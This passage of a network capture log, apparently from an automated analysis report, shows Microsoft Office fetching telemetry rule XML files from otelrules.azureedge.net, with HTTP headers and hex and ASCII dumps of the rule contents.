encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:09 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:09 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052809Z-16849878b786jv8w2kpaf5zkqs00000003gg00000000578h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:10 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:10 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052810Z-16849878b7828dsgct3vrzta7000000002xg00000000fmu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:10 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 4e85c478-401e-002a-713d-26c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052810Z-r197bdfb6b4hsj5bywyqk9r2xw0000000620000000000mmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:10 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:10 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:10 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052810Z-16849878b78tg5n42kspfr0x4800000004kg00000000auhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:10 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:10 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:10 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: fd0e08e6-201e-0085-5f27-2634e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052810Z-17c5cb586f64v7xs992vpxwchg00000004q0000000000ftv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:10 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:10 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:10 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:10 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052810Z-16849878b78smng4k6nq15r6s4000000066g000000000qym x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:10 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:10 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:11 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:11 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052811Z-16849878b78qg9mlz11wgn0wcc0000000460000000007fna x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:11 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:10 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:11 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 218b1b25-701e-005c-4b21-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052811Z-17c5cb586f6hhlf5mrwgq3erx800000005r0000000002pht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:11 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:10 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:11 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:10 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052810Z-16849878b78tg5n42kspfr0x4800000004n0000000006gx2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:11 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:10 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:11 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:11 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052811Z-16849878b7828dsgct3vrzta7000000002zg00000000b3b7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:11 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:11 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:11 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:11 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: d72005e7-a01e-0002-1a61-285074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052811Z-15b8d89586fmc8ck21zz2rtg1w00000001pg00000000bmxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:11 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:11 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:11 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 98c82924-f01e-0020-04fc-26956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052811Z-17c5cb586f6hhlf5mrwgq3erx800000005ng000000006hh6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 